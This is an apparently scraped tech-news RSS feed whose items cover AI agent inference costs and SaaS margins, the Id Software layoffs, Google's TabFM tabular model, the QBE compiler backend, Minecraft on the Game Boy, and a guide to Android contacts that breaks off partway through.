traditional SaaS pricing model. When a power user’s daily agent activity costs more in inference than their monthly subscription fee, vendor gross margins turn negative, a paradox that compounds as customers deepen their agent adoption, the very usage curve vendors are selling to their boards. Several vendors are now privately reporting negative gross margins on heavy users, mirroring recent cloud expenditure reports from the Bessemer 'Supernova' cohort, where the correlation between AI-agent adoption and gross margin contraction has moved from a theoretical risk to a primary P&amp;L headwind.</p><p>The visible symptoms have started leaking into public coverage. Bloomberg this week documented a widening gap between Salesforce's Agentforce marketing demos and the capabilities actually shipping to customers. This is the kind of gap that opens predictably when promised functionality is technically possible but uneconomical to serve at the price the seat plan implies. Salesforce is the most-watched case, not a unique one.</p><p>"For my team, the cost of compute is far beyond the costs of the employees." — <i>Bryan Catanzaro, VP of Applied Deep Learning, Nvidia</i></p><p>The strategic implication is not "AI is expensive." It is that the dominant business model assumed by most AI-native company plans does not survive contact with agentic workloads. </p><h2>A simple example</h2><p>Consider an enterprise software vendor charging $40 per-user per-month for an AI-enabled support assistant. A traditional chatbot might cost only a few cents per user per day in inference, leaving healthy gross margins.</p><p>Now replace that chatbot with a fully agentic workflow capable of investigating tickets, querying internal systems, drafting responses, validating outputs, and escalating exceptions. If a heavy user executes 50 to 100 agent requests per day, inference consumption can increase by an order of magnitude. What was once a negligible infrastructure cost becomes a material operating expense.</p><p>This creates an unusual dynamic: The customers receiving the most value from the product are often the customers generating the highest inference costs. In extreme cases, vendors can find themselves with their most engaged users contributing the least profit. The result is a growing realization across enterprise software that agent adoption and margin expansion are no longer automatically aligned.</p><h2>Agent orchestration is the new moat</h2><p>The technical responses are known and converging. They are not novel, but they are critical for survival</p><ul><li><p><b>Cost-aware routing</b>: This technique involves a small classifier model that decides which tier (Haiku, Sonnet, Opus equivalents) handles each query. Well-tuned routers cut inference bills by around 60% without any degradation in quality</p></li><li><p><b>Prompt caching</b>: <a href="https://venturebeat.com/infrastructure/claude-code-turned-every-engineer-into-three-now-companies-need-more-product-thinkers">Anthropic</a>, OpenAI, and Google now offer 75 to 90% discounts on cached prefixes. </p></li><li><p><b>Context discipline</b>: You can truncate tool outputs, prune reasoning traces, and cap tool depth to prevent your agent from going down a rabbit hole</p></li><li><p><b>Speculative decoding</b>: for self-hosted deployments, this technique guarantees 2 to 3X effective throughput on the same GPUs.</p></li></ul><p>"Organizations using orchestration-led governance report stronger productivity gains — a holistic orchestration layer is associated with six times greater productivity impact than compliance‑only approaches" — <a href="https://www.ibm.com/thought-leadership/institute-business-value/en-us/report/ai-orchestration-layer"><i><u>IBM</u></i></a></p><p>The companies building this layer well are starting to look less like microservice operators and more like <b>financial trading systems</b>: Every routing decision priced, every path with its own P&amp;L, every tenant on a metered budget.</p><h2>What enterprise leaders should actually do</h2><p>F<!-- -->our moves separate the companies that will still have margin in 24 months from the ones that won't:</p><ol><li><p><b>Make inference cost a first-class metric.</b> Track it per-feature, per-tenant, per-query class the same way cloud cost was tracked starting in the mid-2010s.</p></li><li><p><b>Budget like a media buyer.</b> Set cost-per-thousand-queries ceilings per feature. Cap them. Alert on overruns. Engineering will not enforce this on its own.</p></li><li><p><b>Treat the router as core infrastructure, not an optimization.</b> It is the new load balancer.</p></li><li><p><b>Audit prompts quarterly.</b> A 4,000-token system prompt that grew organically over six months is a six-figure bill in slow motion. Most teams have never read their own production prompts end to end.</p></li><li><p><b>Negotiate volume commits early.</b> Frontier-model vendors now offer reserved-instance-style prepaid commits at substantial discounts. List price is the worst price any enterprise will ever pay.</p></li></ol><h2>The next 24 months</h2><p>The structural shift underneath agentic AI is not that it is expensive. As DeepSeek's price cut today underscores, frontier inference unit costs are dropping roughly 3X per year, and the curve is not slowing.</p><p>The shift is that <b>amplification is outrunning the price cuts</b>. Cutting per-token costs 75% does not help a company whose agents are doing 700X more tokens per user query than its pricing model assumed. For the first time since the cloud era began, architecture decisions are again financial decisions in real time. A prompt redesign is a margin event. A poorly bound agent loop is an outage with a credit card attached.</p><p>The companies that survive the next 24 months of AI infrastructure pricing will not be the ones running the cheapest model. They will be the ones whose agents are smart <b>and</b> know what they cost to think.</p><p>That is the 100X problem. And it is arriving faster than the price cuts can hide it.</p><p><i>Maitreyi Chatterjee is a senior software engineer at a big tech company.</i></p><p><i>Devansh Agarwal works as an ML engineer at a leading tech company.</i></p>]]></content:encoded>
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<title><![CDATA[Id Co-founders Carmack and Romero Respond to Microsoft's Layoffs]]></title>
<description><![CDATA["I have been trying to find something meaningful to say about the Id Software layoffs," John Carmack posted Thursday to his 2.8 million followers on X.com:



My "Microsoft will probably be a good steward of the brand" statement isn't aging well, and this is certainly going to dampen the mood of ...]]></description>
<link>https://tsecurity.de/de/3663217/it-security-nachrichten/id-co-founders-carmack-and-romero-respond-to-microsofts-layoffs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3663217/it-security-nachrichten/id-co-founders-carmack-and-romero-respond-to-microsofts-layoffs/</guid>
<pubDate>Sun, 12 Jul 2026 13:52:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["I have been trying to find something meaningful to say about the Id Software layoffs," John Carmack posted Thursday to his 2.8 million followers on X.com:



My "Microsoft will probably be a good steward of the brand" statement isn't aging well, and this is certainly going to dampen the mood of the founder reunion at QuakeCon next month. 

I'm saddened, but I can't muster anger or outrage over it. I don't have access to the books, but I suspect that Id Software was a marginal business from Microsoft's perspective. I believe the reports that Minecraft revenues have been carrying several other studios. 

To continue being produced long term, games need to succeed, not just be beloved. Games are competing with every other option for spending your leisure time and money, and the competition is brutal. You can't rule out the possibility that executives are idiots, but that shouldn't be your default belief. I don't think there is any obvious path that would have doubled the revenue from Id games. 

Could they have gotten more with a different pricing strategy? Could they have created more things for fans to buy? Could they have cost effectively marketed in a way that reached more players that would have loved and bought the games? Could they have changed the game designs and broadened the appeal to more players without alienating existing ones? Could they have produced the games at a lower cost, faster or cheaper? I really don't know. 

The game isn't over yet, and I hope the studio rallies through. 


Id Software co-founder John Romero also shared his thoughts on X.com:

I'm so sorry for everyone at id Software affected by these layoffs. I know what it feels like to leave id while id goes on. It's a strange and painful thing to step away from a place that holds so much of your work, friendships and history. 

The people at id have done a great job moving that legacy forward. DOOM, Quake, and Wolfenstein are not easy names to carry on, especially in today's industry. The last few games showed real care, skill and respect for what those worlds mean to people. 

Romero also expressed his hope for "digital preservation" of Id's ongoing history (including code and assets). "I'm thinking of everyone at id today, and everyone else affected by yesterday's layoffs. Romero Games was there a year ago. I know how devastating it is, and my heart's with all of you. 



"Four Xbox studios are already out the door," noted IGN, but shared some thoughts about the future:

Some have expressed concern that id Software would be unable to lead development on any new games in its current state, and that it might be relegated to support studio status. But in a new statement [posted to id Software's page on X.com] id Software said it was now at the staffing level it was back when it made the much-loved 2016 Doom reboot — and insisted it was still capable of making "great games." 
"While our studio was impacted, those changes were spread across teams. We still have the crew we need to build the games and tech we're known for... We're going to keep building the great games and tech that have defined us for the past 35 years, and we're looking forward to seeing you at QuakeCon this August."
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</div><p><a href="https://games.slashdot.org/story/26/07/12/058235/id-co-founders-carmack-and-romero-respond-to-microsofts-layoffs?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Google's TabFM skips per-dataset training and still predicts on tables it's never seen]]></title>
<description><![CDATA[The vast majority of business data is tabular — living in data warehouses, CRMs, and financial ledgers — yet building a reliable model from it still means training a new one from scratch for every dataset, then maintaining hyperparameter tuning loops, feature engineering, and retraining pipelines...]]></description>
<link>https://tsecurity.de/de/3660555/it-nachrichten/googles-tabfm-skips-per-dataset-training-and-still-predicts-on-tables-its-never-seen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660555/it-nachrichten/googles-tabfm-skips-per-dataset-training-and-still-predicts-on-tables-its-never-seen/</guid>
<pubDate>Fri, 10 Jul 2026 20:03:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The vast majority of business data is tabular — living in data warehouses, CRMs, and financial ledgers — yet building a reliable model from it still means training a new one from scratch for every dataset, then maintaining hyperparameter tuning loops, feature engineering, and retraining pipelines to fight data drift. Google Research is proposing a way around that: <a href="https://research.google/blog/introducing-tabfm-a-zero-shot-foundation-model-for-tabular-data/">a new foundation model called TabFM</a> that treats tabular prediction as an in-context learning problem instead.</p><p>It can generate predictions for a new, unseen table in a single forward pass. For enterprise developers and AI engineers, this reduces the time-to-production from weeks of pipeline engineering to a single API call.</p><h2>The challenge with traditional ML</h2><p>To extract reliable predictions from a gradient-boosted tree, data scientists must build and maintain complex data pipelines. They have to clean messy inputs, impute missing values, encode categorical variables into numerical formats, and engineer custom feature crosses.</p><p>Once the data is ready, they must run repetitive hyperparameter optimization loops, searching across learning rates, tree depths, subsampling ratios, and regularization grids to find the best configuration. </p><p>Once deployed, these traditional models "incur ongoing operational debt through data drift monitoring and retraining pipelines to stay accurate," Weihao Kong, Research Scientist at Google Research, told VentureBeat.</p><p>Meanwhile, the rest of the AI industry has moved on. Generative AI models for text and computer vision have seamlessly shifted to zero-shot inference, where a model can perform a completely new task simply by being prompted with context. </p><p>Large language models (LLMs) already excel at <a href="https://venturebeat.com/business/fine-tuning-vs-in-context-learning-new-research-guides-better-llm-customization-for-real-world-tasks">in-context learning</a>, so why can't we just feed tables into an off-the-shelf LLM?</p><p>Because LLMs are trained on natural language rather than structured data, they struggle to process tables directly. First, their context limits are exhausted quickly by medium-sized tables containing just a few thousand rows and hundreds of columns. Second, LLMs suffer from tokenization inefficiency, awkwardly splitting numerical values and destroying mathematical precision. Finally, they suffer from structural blindness. When a 2D table is serialized as a 1D text string, LLMs lose track of which value belongs to which row and column as the table grows. </p><p>"That's why, today, it is far more effective to use an LLM to write the code that handles feature engineering and calls XGBoost than to ask the LLM to read the table itself," Kong said.</p><h2>What is TabFM?</h2><p>To run inference with TabFM, you do not update any model weights. Instead, you take your historical examples (the training rows with their known labels) and your target rows (the new data you want to predict) and pass them to the model as a single, unified prompt. The model learns to interpret the relationships between columns and rows directly from this context at runtime.</p><p>For example, consider an enterprise analyst trying to predict customer churn. Instead of building a bespoke data pipeline and training an XGBoost model, they can simply pass a sample of historical user session data alongside a new, active session into TabFM. In one forward pass, the model returns an instant churn probability. </p><p>TabFM overcomes the limitations of LLMs by treating the data as a grid, preserving its structural integrity without forcing it into a single-dimensional text string.</p><p>To effectively process diverse tabular structures while enabling scalable zero-shot prediction, TabFM synthesizes the strengths of earlier experimental architectures, TabPFN and TabICL. <a href="https://github.com/PriorLabs/tabpfn">TabPFN</a>, developed by Prior Labs, first proved that a transformer architecture could perform zero-shot classification on small tables, though it struggled to scale computationally to larger datasets. </p><p>Later, <a href="https://dl.acm.org/doi/10.5555/3780338.3782366">TabICL</a>, developed by France's National Research Institute for Digital Science and Technology, addressed this bottleneck by introducing row compression, allowing in-context learning to efficiently process much larger tables. </p><p>TabFM combines TabPFN's deep feature contextualization with TabICL's efficient compression into a novel hybrid design built on three key mechanisms:</p><p><b>1. Alternating row and column attention:</b> The raw table is first processed through a multilayer attention module that alternates across both columns (features) and rows (examples). By continuously attending across these two dimensions, the model natively captures complex feature interactions. This deep contextualization does the heavy lifting that would usually require tedious manual feature crafting by data scientists.</p><p><b>2. Row compression:</b> Following this contextualization, the cross-attended information for each row is compressed into a single, dense vector representation. TabICL pioneered this by using CLS tokens to compress a row's rich information into one vector, "in contrast to TabPFN v2, v2.5, and v2.6, which attend over the full cell grid throughout the network," Kong explained. This drastically shrinks the computational footprint.</p><p><b>3. In-context learning (ICL):</b> A causal Transformer then operates on this sequence of compressed embeddings. This Transformer model uses the attention mechanism of TabICL to attend over these dense row vectors, drastically reducing the computation cost and allowing the model to process large datasets efficiently.</p><p>A major selling point of TabFM is its pretraining recipe. The model was trained entirely on hundreds of millions of synthetic datasets. These datasets were dynamically generated using structural causal models (SCMs) that incorporate a wide variety of random functions. By training exclusively on synthetic SCMs, TabFM learned the fundamental mathematical priors of how tabular features interact without ingesting real-world, confidential CSV files.</p><h2>TabFM in action</h2><p>To test the model's capabilities, Google researchers benchmarked TabFM on TabArena, a comprehensive evaluation suite spanning 51 diverse tabular datasets across 38 classification and 13 regression tasks.</p><p>On these public benchmarks, TabFM's zero-shot predictions already match or beat heavily tuned supervised baselines. However, Google is careful to note that this does not automatically mean TabFM will universally dethrone bespoke, hyper-optimized production models on every enterprise workload.</p><p>"Instead of replacing hyper-optimized production models, the true practical business value it unlocks for lean engineering teams is velocity," Kong said. "It allows data analysts and backend engineers to instantly spin up high-quality baseline models without a dedicated data science team managing a complex lifecycle."</p><p>For advanced practitioners looking to squeeze out maximum accuracy, the research team also introduced a "TabFM-Ensemble" configuration. By running the model through 32 distinct variations and blending the results, TabFM pushes the performance even further. </p><h2>Getting started, trade-offs, and the cloud future</h2><p>The shift to in-context learning for tables introduces a new economic trade-off that engineering teams must consider. </p><p>With traditional algorithms, training is slow and expensive, but inference is lightning-fast and cheap. TabFM flips this dynamic. While training time drops to zero, inference becomes significantly heavier. Because the model must process the entire historical dataset as context during every single prediction, it requires more compute and memory at runtime. </p><p>In this new paradigm, "traditional machine learning training becomes the 'prefill' phase (KV caching) in the context window," Kong said. While this prefill cost is steep, it is paid only once per table, and the cache is reused across subsequent queries. "The catch is prediction latency, which no amount of caching removes," Kong added. Every new prediction requires a pass through a large transformer. "Any production API requiring single-digit-millisecond response times cannot tolerate TabFM's forward-pass overhead."</p><p>For developers looking to evaluate the model today, the barrier to entry is low. Google designed TabFM as a drop-in replacement for traditional ML workflows, offering a scikit-learn compatible API (TabFMClassifier and TabFMRegressor). It natively handles mixed numerical and categorical columns, works directly with pandas DataFrames, and requires no manual ordinal encoders or numerical scalers. The library supports both JAX and PyTorch backends.</p><p>However, enterprise teams need to be aware of current limitations and licensing restrictions. The model architecture has a hard limit of 10 output classes for classification tasks, and it is optimized for tables with up to 500 features. More importantly, while Google released the <a href="https://github.com/google-research/tabfm">underlying codebase</a> under the permissive Apache 2.0 license, the pre-trained model weights are published on <a href="https://huggingface.co/google/tabfm-1.0.0-pytorch">Hugging Face</a> under a strict tabfm-non-commercial-v1.0 license. Developers can evaluate the model internally, but it cannot be deployed in commercial products yet.</p><p>Looking ahead, Google is addressing the commercial deployment friction through its cloud ecosystem. TabFM is being integrated directly into Google BigQuery, allowing analysts to run zero-shot predictions natively via an “AI.PREDICT” command. By putting foundation model inference right next to the data warehouse, TabFM could soon make complex tabular machine learning as accessible as a basic database query.</p><p>In practice, TabFM shines in rapid prototyping, high data drift environments, and small to medium-sized datasets under 100,000 rows. Conversely, teams should stick to traditional models for strict, ultra-low latency APIs, or massive tables exceeding one million rows, which currently require aggressive row sampling that degrades the foundation model's competitive advantage.</p>]]></content:encoded>
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<title><![CDATA[[$] QBE 1.3: metaprogramming, performance, and cross-platform support]]></title>
<description><![CDATA[QBE, a compact compiler backend developed by Quentin Carbonneaux, is a
lightweight alternative to larger compiler backends such as LLVM and GCC.
Designed to be small enough for a single developer to understand, QBE uses a

static single-assignment (SSA) intermediate representation (IR), supports ...]]></description>
<link>https://tsecurity.de/de/3659933/linux-tipps/qbe-13-metaprogramming-performance-and-cross-platform-support/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659933/linux-tipps/qbe-13-metaprogramming-performance-and-cross-platform-support/</guid>
<pubDate>Fri, 10 Jul 2026 15:52:16 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>
<a href="https://c9x.me/compile/">
QBE</a>, a compact compiler backend developed by Quentin Carbonneaux, is a
lightweight alternative to larger compiler backends such as LLVM and GCC.
Designed to be small enough for a single developer to understand, QBE uses a
<a href="https://en.wikipedia.org/wiki/Static_single-assignment_form">
static single-assignment</a> (SSA) intermediate representation (IR), supports the C ABI,
and serves as the backend for projects such as <a href="https://harelang.org/">Hare</a> and
the <a href="https://github.com/michaelforney/cproc"><tt>cproc</tt></a> C11 compiler. Frontends
emit the textual form of QBE's IR directly; QBE then takes care of register allocation,
optimization, and native-code generation, producing assembly for the target
architecture.
</p>]]></content:encoded>
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<title><![CDATA[A mad gaming genius managed to recreate Minecraft on the Game Boy Color and even the original Game Boy — because why not?]]></title>
<description><![CDATA[Game of Tobi, a YouTuber who has specialized in getting modern games to work on old gaming handhelds like the Game Boy Advance, has released a video detailing his latest project: a playable version of Minecraft on the original Game Boy]]></description>
<link>https://tsecurity.de/de/3659362/windows-tipps/a-mad-gaming-genius-managed-to-recreate-minecraft-on-the-game-boy-color-and-even-the-original-game-boy-because-why-not/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659362/windows-tipps/a-mad-gaming-genius-managed-to-recreate-minecraft-on-the-game-boy-color-and-even-the-original-game-boy-because-why-not/</guid>
<pubDate>Fri, 10 Jul 2026 12:12:03 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Game of Tobi, a YouTuber who has specialized in getting modern games to work on old gaming handhelds like the Game Boy Advance, has released a video detailing his latest project: a playable version of Minecraft on the original Game Boy]]></content:encoded>
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<title><![CDATA[The ultimate guide to Android contacts management]]></title>
<description><![CDATA[You’d think keeping tabs on your contacts would be about the simplest and most straightforward task imaginable in our modern connected world — wouldn’t you?



I sure would. But as I’ve learned over the years, that perfectly understandable instinct couldn’t be more inaccurate.



Effectively wran...]]></description>
<link>https://tsecurity.de/de/3659335/it-nachrichten/the-ultimate-guide-to-android-contacts-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659335/it-nachrichten/the-ultimate-guide-to-android-contacts-management/</guid>
<pubDate>Fri, 10 Jul 2026 12:03:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>You’d think keeping tabs on your contacts would be about the simplest and most straightforward task imaginable in our modern connected world — wouldn’t you?</p>



<p>I sure would. But as I’ve learned over the years, that perfectly understandable instinct couldn’t be more inaccurate.</p>



<p>Effectively wrangling your contacts on Android and keeping ’em manageable, organized, and optimized for efficiency really is a fine art. And in a way, it’s no wonder: Most of us have reached a point where our phones’ contacts are a sprawling goulash of earthlings from all different eras of our lives — clients, colleagues, college buddies, and, of course, your cousin Carl from Poughkeepsie.</p>



<p>Making matters even more complex is the fact that what constitutes “Android” is a wildly different experience from one device to the next. And most Android phone-makers don’t exactly make it easy for you to make the most of your messy contacts stew.</p>



<p>The good news, though, is that it doesn’t <em>have</em> to be so difficult. Today, we’ll start from square one and get your contacts in tip-top shape, no matter what type of Android phone you’re using or how many unruly old bosses’ email addresses you’ve got stored away.</p>



<p>By the time we’re done, your Android phone contacts will be as orderly as can be — and you’ll be equipped with all sorts of practical knowledge for harnessing their typically untapped potential.</p>



<h2 class="wp-block-heading">Part I: Android contacts streamlining</h2>



<p>First and foremost, we need to make sure we’re all on the same page — ’cause as we just mentioned a moment ago, the Android contacts situation is anything but standardized across the platform.</p>



<p>Specifically, if you’re using a Samsung phone, we need to get you off of Samsung’s subpar and proprietary contacts service and into Google’s better, smarter, and more platform-agnostic alternative.</p>



<p>Samsung’s main goal with its products, y’see, is to keep you within <em>its</em> own universe. The company wants you to continue using Samsung stuff and buying Samsung stuff, and it makes that more of a priority than giving you an optimal experience.</p>



<p>The company’s Contacts app is the perfect example: The app offers no noteworthy advantages over Google’s standard Android Contacts service, and it’s available <em>only</em> on Samsung-made Android devices. It’s less fully featured and pleasant to use than Google’s version, too, and it makes it much more difficult to access your contact info from a computer or any other type of device.</p>



<p>So why does Samsung insist on making that the default contacts service on its phones instead of sticking with Google’s readily available offering? Simple: because it locks you into Samsung’s self-serving ecosystem.</p>



<p>Let’s break you free, shall we?</p>



<ul class="wp-block-list">
<li>Open up the Contacts app on your phone (the one probably represented by a glaringly bright red icon).</li>



<li>Tap the three-dot menu icon in its upper-right corner, then tap “Settings” followed by “Sync contact accounts.”</li>



<li>Make sure your main Google account is present and has its toggle active on the screen that comes up next. If you don’t see it, tap the “Add account” option to add it into the mix.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/google-contacts-android-01-samsung-accounts-list.jpg?quality=50&amp;strip=all&amp;w=1024" alt="screenshot of samsung contacts app - sync accounts screen" class="wp-image-4173348" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Both your Samsung account <em>and</em> your Google account need to be added and set to sync in the Samsung Contacts app.</p>
</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<p>Got it? Good. Now, go <a href="https://play.google.com/store/apps/details?id=com.google.android.contacts" target="_blank" rel="noreferrer noopener">download the Google Contacts app</a> from the Play Store. Open it up and approve the permissions it needs to operate. Then make a point to start using <em>it </em>instead of Samsung’s silliness (which, by the by, Samsung won’t let you uninstall or even disable) from here on out.</p>



<p>If you’re using an older Samsung device and the steps described above don’t quite match what you’re seeing, poke around in the Contacts app until you find a similar set of options. They <em>should</em> be there somewhere; the specifics of the interface have just evolved somewhat over the years, so older versions of the app may not be exactly the same.</p>



<p>If you have a non-Google-made phone from someone other than Samsung, meanwhile, check to see if your contacts app is the actual Google Contacts app or not. If it isn’t — and if your device-maker gave you some other random alternative in its place — poke around in <em>that</em> app and try to find a similar set of options for syncing everything over to your Google account. If that isn’t possible, find the option to export your contacts from that app and then look for the import option within the Google Contacts Android app to get to the same spot.</p>



<h2 class="wp-block-heading">Part II: Android contacts accounts and labels</h2>



<p>Now that we’re all looking at the same place and dealing with the same best-available Android contacts management option, let’s take a few minutes to get the lay of the land, shall we?</p>



<p>When you first open the Google Contacts app on Android, you’ll see a merged view of all contacts from every Google account you have connected to the phone. But take note: If you tap the “All contacts” line toward the top of the screen, you can switch to seeing contacts associated with only one individual Google account at a time — assuming you have multiple Google accounts connected — instead of seeing them combined together all at once.</p>



<p>That could be useful if, say, you have both a work account and a personal account connected to your device — or maybe you’re a freelancer and you have <em>multiple </em>work-related accounts connected for different purposes.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/google-contacts-android-02-accounts.jpg?quality=50&amp;strip=all&amp;w=1024" alt="screenshot of accounts list in google contacts app" class="wp-image-4173347" width="1024" height="992" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>The Google Contacts app makes it easy to see contacts from individual accounts or all of your connected accounts together.</p>
</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<p>If you tap the triangular three-line icon to the right of the “All contacts” dropdown, meanwhile, you’ll find a few filtering options that could be helpful as alternatives to the large search bar at the top of the screen — if, for instance, you need to find a contact and only know the name of their company but also can’t quite <em>think </em>of that company’s name and need a prompt. Tap that icon, select “Company,” and you’ll see a list of every company name in your contacts that you can scroll through and select to apply as a filter.</p>



<p>Finally, if you tap the outlined arrow-like shape to the left of the filter icon, you’ll see a list of any labels you’ve created for your contacts. Labels in Google Contacts work exactly like <a href="https://www.computerworld.com/article/1663877/how-to-use-gmail-labels-to-tame-your-inbox.html">labels in Gmail</a>: You can create as many as you like, and you can apply any number of labels onto any given contact. They’re less like folders, in other words, and more like stickers — or, y’know, <em>labels </em>— in that there’s no limit to how many any particular contact can have.</p>



<p>So why would you want to bother with labels, you might be wondering? Well, I’ll tell ya: They’re a splendid way to break that mess of mammals in your life down into specific, meaningful groups instead of always viewing ’em in one gigantic lump.</p>



<p>Maybe, for instance, you’d have a label called “Work” that includes everyone from your current company. And maybe you’d have a separate label called “Team” that’s even more narrow and shows only the people you directly work with. Maybe you’d have another label for clients, another for specific <em>subsets</em> of clients, and another for all the people in your life named Josh.</p>



<p>Once you do that initial organization, you’ll have an easy way to limit your view to only the individuals you need at any given moment — and you’ll gain a couple of other easily overlooked advantages, too, as we’ll explore further in a moment.</p>



<p>First, to apply a label onto a contact once you’ve created it:</p>



<ul class="wp-block-list">
<li>Tap the contact to open it.</li>



<li>Tap the pencil-shaped editing icon in its upper-right corner.</li>



<li>Scroll down and look for the “Labels” option.</li>



<li>Tap it, then select whichever label or labels you want to add onto that contact and tap “OK” to save.</li>
</ul>



<p>If you want to apply a label onto <em>multiple</em> contacts at the same time:</p>



<ul class="wp-block-list">
<li>Tap the label icon — that arrow-like shape we were just talking about a moment ago, on your main contacts list — then select the label you want to use.</li>



<li>Tap the icon that looks like an outline of a person with a plus sign next to it, in the upper-right corner of the screen, and then select whichever contacts you want to add into the label by tapping them all once.</li>



<li>When you’re finished selecting, tap the “Done” option in the upper-right corner of the screen, and all of the contacts you selected will be added in one fell swoop.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/google-contacts-android-03-label-add.jpg?quality=50&amp;strip=all&amp;w=1024" alt="screenshot of a label and the contacts associated with it in google contacts app" class="wp-image-4173345" width="1024" height="334" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Once you open a specific label within the Android Contacts app, you can see everyone who’s associated with it and add in new contacts en masse.</p>
</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<p>Capisce? Capisce. Now, let’s move on to some even more advanced Android contacts goodness.</p>



<h2 class="wp-block-heading">Part III: Advanced Android contacts enhancements</h2>



<p>When you first tap a person’s name within the Google Contacts app on Android, you’ll see a screen with their profile appear.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/google-contacts-android-04-contact-profile.jpg?quality=50&amp;strip=all&amp;w=1016" alt="screenshot of a contact profile page in google contacts app" class="wp-image-4173351" width="1016" height="1024" sizes="auto, (max-width: 1016px) 100vw, 1016px"><figcaption class="wp-element-caption"><p>Anyone you store in your contacts on Android will have a custom profile that puts all your notes and info about them in a single place.</p>
</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<p>A smattering of interesting features worth noting here:</p>



<ul class="wp-block-list">
<li>As of a <a href="https://www.computerworld.com/article/4042396/new-google-pixel-phone-features.html#:~:text=New%20Pixel%20Phone%20feature%20%231%3A%20Your%20custom%20calling%20card">relatively recent addition</a>, the Google Contacts app allows you create a custom calling card that adds a background image into the top of that person’s profile <em>and</em> controls exactly what you see on your screen anytime they call you. If you aren’t seeing a background image in this area already, as illustrated above, look for the option to add a calling card — which should appear in that same general space.</li>



<li>You can also <a href="https://theintelligence.com/42519/android-calling-card/" target="_blank" rel="noreferrer noopener">create your <em>own</em> custom calling card</a> that controls how <em>you</em> show up by default on <em>other</em> people’s devices — provided they’re also using the Google Contacts app on Android, of course — if you’re ever so inspired.</li>



<li>And if you’ve had any interactions with a contact, you’ll be able to see a quick overview of that activity in the “Recent activity” area beneath that — along with any notes you’ve created for the person within their contact profile.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/google-contacts-android-05-weather-activity-notes.jpg?quality=50&amp;strip=all&amp;w=1024" alt="screenshot of contact details page in google contacts app - includes recent interactions and weather" class="wp-image-4173350" width="1024" height="984" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Your contacts’ profiles can contain all sorts of useful extras, ranging from an overview of your recent interactions with the person to a live look at the weather in their area.</p>
</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<p>To edit a profile, as you’d probably guess, you’ll just tap the pencil-shaped editing icon in the upper-right corner of the screen.</p>



<p>And one more advanced Android contacts option worth mentioning: Directly next to that pencil icon, you’ll see a hollow star in the upper-right corner of every contact’s profile. You can tap that to fill the star in and mark that person as a favorite.</p>



<p>Doing so will have some significant effects:</p>



<ul class="wp-block-list">
<li>That person will always appear at the top of your contacts list.</li>



<li>They’ll also typically show up in a special, more prominent area of your Phone app for extra-easy access (and if they don’t, try <a href="https://play.google.com/store/apps/details?id=com.google.android.dialer" target="_blank" rel="noreferrer noopener">downloading the Google-made Phone app</a> and using it in place of whatever alternative your phone’s maker preinstalled in its place).</li>



<li>And they’ll be granted special privileges to reach you even when your phone is in Do Not Disturb mode, with the specifics depending on your preferences in that area of your system settings.</li>
</ul>



<h2 class="wp-block-heading">Part IV: Android contacts optimization</h2>



<p>One of the best features of the Google Contacts service is how easy it makes it to clean up and optimize your contacts collection.</p>



<p>From the Contacts app on your phone, tap the “Organize” tab at the bottom of the screen — then:</p>



<ul class="wp-block-list">
<li>Tap the “Merge &amp; Fix” option.</li>



<li>Look to see what suggestions the app gives you, then tap ’em one by one and follow the steps within.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/google-contacts-android-06-merge-and-fix.jpg?quality=50&amp;strip=all&amp;w=1024" alt="screenshot of merge and fix screen in google contacts app" class="wp-image-4173346" width="1024" height="445" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>The Google Contacts app offers intelligent suggestions for quickly cleaning up your contacts.</p>
